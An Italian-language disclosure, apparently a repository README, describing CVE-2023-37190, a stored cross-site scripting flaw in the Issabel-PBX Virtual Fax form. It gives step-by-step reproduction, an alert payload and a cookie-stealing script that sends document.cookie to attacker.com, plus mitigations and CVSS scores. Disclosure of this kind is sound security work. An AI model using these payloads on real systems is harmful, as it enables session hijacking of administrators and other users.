
Una vulnerabilità di Cross-Site Scripting (XSS) memorizzato è presente in Issabel-PBX versione 4.0.0-6. L'applicazione non sanifica e codifica correttamente l'input fornito dall'utente prima di memorizzarlo nel database e di successivamente renderizzarlo nell'interfaccia web.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2023-37190 |
| Vulnerabilità | Cross-Site Scripting (XSS) persistente |
| Prodotto interessato | Issabel-PBX |
| Versione interessata | 4.0.0-6 |
| Gravità | Media (punteggio CVSS v3.1: 5.4) |
| Scoperto da | Sahil Ojha |
| Data di divulgazione | 07 luglio 2023 |
| Fornitore | Issabel |
| Codice sorgente | IssabelFoundation/issabelPBX |
| Testato su | Windows |
Una vulnerabilità di Cross-Site Scripting (XSS) persistente è presente in Issabel-PBX versione 4.0.0-6. L'applicazione non riesce a sanificare e codificare correttamente l'input fornito dall'utente prima di salvarlo nel database e successivamente renderizzarlo nell'interfaccia web.
La vulnerabilità è presente nel modulo Virtual Fax, in particolare nel modulo di creazione "New Virtual Fax". Due parametri di input — Virtual Fax Name e Caller ID Name — non sono sottoposti a una convalida dell'input o a una codifica dell'output adeguate. Ciò consente a un attaccante autenticato con privilegi bassi di iniettare e memorizzare permanentemente un payload JavaScript dannoso all'interno dell'applicazione.
Una volta memorizzato, lo script dannoso viene eseguito automaticamente nel browser di qualsiasi utente (inclusi gli amministratori) che visita la pagina interessata, senza richiedere alcuna interazione aggiuntiva da parte dell'attaccante.
Un attaccante che sfrutta con successo questa vulnerabilità può:
Poiché il payload è memorizzato (persistente), colpisce ogni utente che visita la pagina vulnerabile fino alla sua rimozione — rendendo questa vulnerabilità più grave di una XSS riflessa.
Virtual Fax NameCaller ID NamePassaggio 1: Accedi all'applicazione web Issabel-PBX utilizzando credenziali valide.
Passaggio 2: Vai a Fax → Virtual Fax → New Virtual Fax.
Inietta il seguente payload XSS nei campi Virtual Fax Name e/o Caller ID Name:
<script>alert('XSS-CVE-2023-37190')</script>
Per una proof-of-concept più efficace che dimostri il furto dei cookie di sessione (nota: negli attacchi reali, si utilizza HTTPS per evitare di esporre i cookie rubati in transito):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Il modulo compilato con il payload iniettato dovrebbe apparire simile alla schermata seguente:

Passaggio 3: Fare clic sul pulsante Save per inviare il modulo. Il payload viene ora memorizzato in modo persistente nel database dell'applicazione.
Passaggio 4: Vai alla pagina di elenco di Virtual Fax (oppure fai in modo che un altro utente — come un amministratore — visiti la pagina). Lo script memorizzato verrà eseguito automaticamente nel browser del visitatore, come mostrato di seguito:

Agli utenti e agli amministratori di Issabel-PBX si consiglia vivamente di applicare le seguenti misure:
<, >, ", ', &).Content-Security-Policy rigorosa per limitare le fonti da cui gli script possono essere eseguiti, riducendo l'impatto delle vulnerabilità XSS.Sahil Ojha
Ricercatore di sicurezza
GitHub: @sahiloj
Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di divulgazione responsabile. Le informazioni qui fornite non devono essere utilizzate per attaccare sistemi senza un'esplicita autorizzazione scritta del proprietario del sistema. L'autore non è responsabile per qualsiasi uso improprio di queste informazioni.
| Metrica | Valore |
|---|
| Punteggio base | 5.4 (Media) |
| Vettore di attacco | Rete |
| Complessità di attacco | Bassa |
| Privilegi richiesti | Bassi |
| Interazione con l'utente | Richiesta |
| Ambito | Modificato |
| Riservatezza | Bassa |
| Integrità | Bassa |
| Disponibilità | Nessuno |